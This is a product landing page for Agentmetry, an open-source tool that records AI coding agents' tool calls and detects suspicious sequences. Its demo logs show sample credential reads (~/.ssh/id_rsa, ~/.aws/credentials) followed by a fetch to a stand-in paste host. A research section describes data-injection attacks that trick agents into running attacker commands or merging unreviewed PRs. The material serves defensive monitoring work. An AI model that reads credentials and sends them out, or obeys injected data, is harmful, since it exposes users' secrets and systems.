The flight recorderfor AI coding agents.

agentmetry.ai · 2026-08-01 · by Long Nguyen ·generic
Open-source, local-first audit trail for AI coding agents. Records every tool call from Cursor, Claude Code, Codex and MCP servers, tags it with MITRE ATT&CK, and correlates sequences into detections, including the Agent Data Injection chains from arXiv:2607.05120. Apache-2.0.

The flight recorderfor AI coding agents.

\[ recording \]

The flight recorder

for AI coding agents.

Your agent reads a private key, then makes a network call. Your EDR sees a process. Agentmetry sees the sequence, tags it with MITRE ATT&CK, and fires one critical alert. Runs entirely on your machine.

View source30 second demo

$ git clone https://github.com/blitzcrieg1/agentmetry.git && cd agentmetry && pip install -e apps/orchestrator && python scripts/demo.py

Windows full install: powershell -ExecutionPolicy Bypass -File scripts\\install.ps1

Apache-2.0 · open source9 detection rules0 cloud callsFor platform teams, security engineers, and devs dogfooding Cursor / Claude Code

agentmetry demo

$ python scripts/demo.py

The session

cursor.ReadT1552.004Credential Access · cat \~/.ssh/id\_rsa

cursor.ShellT1059Execution · aws configure listdlp:aws\_access\_key

WebFetchT1071.001Command and Control · fetch https://paste.example.com/upload

CRITICALcredential-exfil

cursor.Read accessed credentials, then WebFetch egressed to the network in the same session.

ATT&CK: T1552.004 → T1071.001 · correlates 2 events

Secret value written to the trail? NO

Agentmetry flight recorder dashboard: live event feed with MITRE ATT&CK tags, detections strip, and session histogram

Phase 1 flight recorder — detections strip, histogram, live ingest status

\[ 01 \] who it is for

Built for the security engineer who found out about Cursor from a pull request.

Your developers shipped Cursor, Claude Code, Codex and Antigravity into real repositories, with real credentials, and nobody told the security team. You cannot audit what you never recorded. Agentmetry records it at the tool boundary, on the machine, in a format your SIEM already reads.

  • →SOC and DevSecOps teams governing agents they did not choose.
  • →Platform engineers who need an evidence trail for an incident, not a token-cost chart.
  • →EU shops that need the record on their own hardware for the AI Act and GDPR.
  • →Anyone who has to answer what the agent actually did, after the fact.

\[ 02 \] capabilities

Endpoint security, adapted for autonomous agents.

01 / capture

Hooks and MCP proxy

IDE lifecycle hooks for Cursor, Claude Code, Codex and Antigravity, plus a stdio audit proxy that wraps any MCP server. Arguments are SHA-256 hashed in the hook process by default.

02 / correlate

Sequence detection

Per-event MITRE tags say what one call is. Nine rules say what a sequence means: credential access then egress, a denied approval that ran anyway, a PR merged without reading the diff, a download cradle piped into a shell, recon then collect.

03 / prevent

Local DLP

A regex engine scans tool arguments in the hook process, before execution and before storage. AWS keys, GitHub PATs, Slack tokens, bearer headers, private keys and SSNs. Set it to log or block.

0cloud calls. The trail is a hash-chained JSONL file you own.

9correlated detection rules, extensible in \~20 lines.

4SIEM sinks: Loki, Elastic ECS, Splunk HEC, webhook.

\[ 03 \] research

When every guardrail passes, behaviour is the only evidence left.

Agent Data Injection Attacks are Realistic Threats to AI Agents (Choi et al., July 2026) demonstrates remote code execution and supply-chain compromise against Claude Code, Codex, Gemini CLI and Antigravity. It hides malicious data inside content the agent already trusts, such as a GitHub issue comment with forged author metadata, so the agent runs an attacker's command believing a maintainer sent it.

The paper tested model hardening, input guardrails, alignment guardrails, plan-then-execute, sandboxing and dual-LLM. All of them fail, for one reason:

ADI “corrupts only the data the agent acts on, leaving the agent’s task aligned with the user prompt.”

Nothing about the request looks wrong. The agent is doing what you asked. That is exactly the case a flight recorder exists for.

To be clear: Agentmetry does not prevent this and does not claim to. Prevention means isolating trusted from untrusted data inside the agent, which is the paper’s own conclusion and is not something a recorder can do. We detect the consequence.

Remote code execution§4.2

`gh issue view → attacker's command`

encoded-command-downloaduntrusted-input-then-risky-action

Supply chain§4.3

`gh pr view → merge, diff never read`

pr-merged-without-review

Both chains fire on a stock install. A benign session (read issue, run tests, view PR, read diff, merge) stays clean.

\[ 04 \] pipeline

Four stages, all on your machine.

01

Capture

Lifecycle hooks and the MCP proxy record every tool call before arguments leave the hook process.

02

Normalize

Events become canonical JSONL v1.1.0 with MITRE ATT&CK tags, hashed arguments, and a tamper-evident hash chain on the file sink.

03

Correlate

Rules run over each session as events arrive. A firing rule is emitted once, as an event.

04

Forward

The same trail streams to Loki, Elastic, Splunk or a webhook. Optional, and never the source of truth.

audit-forward.jsonltail -f

14:22:01T1059cursor.Shell · pytest tests/ -q

14:22:03T1083Glob · \\/\*.ts

14:22:07T1552.001cursor.Read · \~/.aws/credentials

14:22:11T1071.001WebFetch · paste.example.com/upload

14:22:11detectioncredential-exfil · CRITICAL

flight recorder · localhost:3000live

Pinned credential-exfil detection with expanded event detail in the Agentmetry dashboard

\[ 05 \] where it fits

Observability optimizes the model. Agentmetry governs the agent.

The tools you already know watch the LLM as a workload to make faster and cheaper. Agentmetry watches agent tool-use as a threat surface. Different job, honestly stated.

| | local-first securityAgentmetry | LLM observabilityLangfuse · AgentOps · Arize | cloud SIEMDatadog Cloud SIEM | | -------------------------- | ---------------------------------- | -------------------------------------------- | ---------------------------- | | Watches | Agent tool-use as a threat surface | LLM calls as a workload to optimize | Infrastructure and app logs | | Deploys | Local-first, on your machine | Cloud SaaS | Cloud SaaS | | Session + intent aware | Yes | Traces, not threats | No | | MITRE sequence detection | Yes, 9 rules | No | Rules on logs, not sessions | | Tamper-evident local trail | Yes, hash chain | No | Vendor held | | Token / cost dashboards | No | Yes | No | | Maturity | Public alpha | Mature | Mature |

Where Agentmetry is worse today. No token or cost analytics, no hosted cloud, and it is a public alpha. If you want to know what your agents cost, use Langfuse. If you want to know what your agents did, in a record your SIEM understands and your auditor trusts, use Agentmetry. Most teams end up wanting both.

\[ 06 \] what it does not do

The honest limits.

It is not a CASB.

It records the agents you wire in. An unmanaged ChatGPT tab in a browser is invisible to it. That is network and endpoint policy territory, a different problem.

It is a recorder, not a sandbox.

It records what an agent did. It does not stop an agent that avoids the hooked tools. If your threat model is a determined, evasive agent, you want an egress proxy.

The DLP is regex, not ML.

Seven rules with validators. It is a starting pack you extend in YAML, not a data-classification product.

It is alpha.

APIs and integration surfaces may evolve. Live detection checkpoint state persists in SQLite across restarts; the hash-chained JSONL trail is the authoritative record.

Know what your agents actually did.

Apache-2.0. Runs on your machine, not ours. No account, no telemetry.

View on GitHub

agentmetry.ai · 2 images · 9 links

Comments (0)

No comments yet